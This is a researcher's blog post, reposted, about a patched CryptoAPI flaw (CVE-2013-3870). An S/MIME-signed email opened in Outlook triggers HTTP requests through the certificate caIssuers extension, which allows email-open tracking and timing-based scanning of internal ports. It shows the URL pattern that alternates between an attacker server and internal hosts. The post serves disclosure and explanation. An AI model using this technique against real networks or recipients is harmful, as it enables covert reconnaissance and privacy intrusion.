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A portscan by email − HTTP over X.509 revisited

Disclaimer: This was originally posted on Since n.runs went bankrupt, the blog is defunct now. I reposted this here in July 2015 to preserve it for posteriority.

The history

Design bugs are my favourite bugs. About six years ago, while I was working in the Public Key Infrastructure area, I identified such a bug in the X.509 certificate chain validation process (RFC 5280). By abusing the authority information access id-ad-caissuers extension, it allowed for triggering (blind) HTTP requests when (untrusted, attacker-controlled) certificates were validated. Microsoft was one of the few vendors who actually implemented that part of the standard and Microsoft CryptoAPI was vulnerable against it. Corresponding advisories (Office 2007, Windows Live Mail and Outlook) and a whitepaper were released in April 2008.

This issue was particularly interesting because it could be triggered by an S/MIME-signed email when opened in Microsoft Outlook (or other Microsoft mail clients using the CryptoAPI functionality). This allowed attackers to trigger arbitrary HTTP requests (also to internal networks) but not gaining any information about the result of the request. Also, because the request was done using CryptoAPI and not in a browser, it was impossible to exploit any kind of Cross Site Request Forgery issues in web applications, so the impact of the vulnerability was quite limited. In fact, I would consider this mostly privacy issue because the most interesting application was to find out that an email had been opened (and from which IP address and with which version of CryptoAPI), something that was otherwise (to my knowledge) pretty much impossible in Outlook (, a very interesting service with many tests for email privacy issues seems to confirm that).

Revisiting the issue

In May 2012, I revisited the issue to see if something that I had been thinking about previously could be implemented – leveraging the issue to do port scanning on internal hosts by alternating between internal and external HTTP requests and measuring the timing distance on the (attacker-controlled) external host. It turned out that in a specific combination of nested S/MIME signatures with particularly long URLs (about 3500 characters, don’t ask my why exactly they are needed), one can actually observe a difference in timing between an open port or a closed port.

To test this, URLs that are triggered by the email would for example look similar to the following:

  1. http://[attacker_server]/record_start?port=1&[3500*A]
  2. http://[internal_target_ip]:1/[3500*A]
  3. http://[attacker_server]/record_stop?port=1&[3500*A]
The scripts »record_start« and »record_stop« on the server are used to measure the time difference between the two external requests (1 and 3), with which we can tell (roughly) how long the internal request to port 1 on the internal target IP took.

Testing showed that in case the port is open, the time difference measured between the two external requests was significantly below one second, while if the port was closed, it was a bit above one second.

Unfortunately, we are not able to observe this for all possible ports. The timing difference for some HTTP request to a list of well-known ports was short regardless of whether they are open or closed, making it impossible to determine their state. My current assumption is that this is because the HTTP client library used by CryptoAPI does not allow connections on those ports to avoid speaking HTTP(S) on them (similar to browsers which typically make it impossible to speak HTTP on port 25).

A single email can be used to scan the 50 most-used (as determined by nmap) ports on a single host. A proof-of-concept which scans has been implemented and can be tried out by sending an empty email to You will receive an automatic reply with an S/MIME-signed message which when opened will trigger a number of HTTP requests to ports on local host and a data logger running on my webserver. After a few minutes, you can check on a web interface to see which ports are open and which ones are closed. Sometimes, your Exchange mail server might prevent the test email from being delivered though because it contains a lot of nested MIME parts (try again with a more relaxed mailserver then ;-)).

Problem solved

After repeatedly bugging the Microsoft Security Response team about the issue (and accidentally discovering an exploitable WriteAV issue when too many S/MIME signatures were used – MS13-068, fixed in the October 2013 patch day), this has now been fixed with the November 2013 patch day release (CVE-2013-3870). In case the id-ad-caissuers functionality is actually needed in an organization, the functionality can be turned on again, though – with the risk of still being vulnerable to this issue.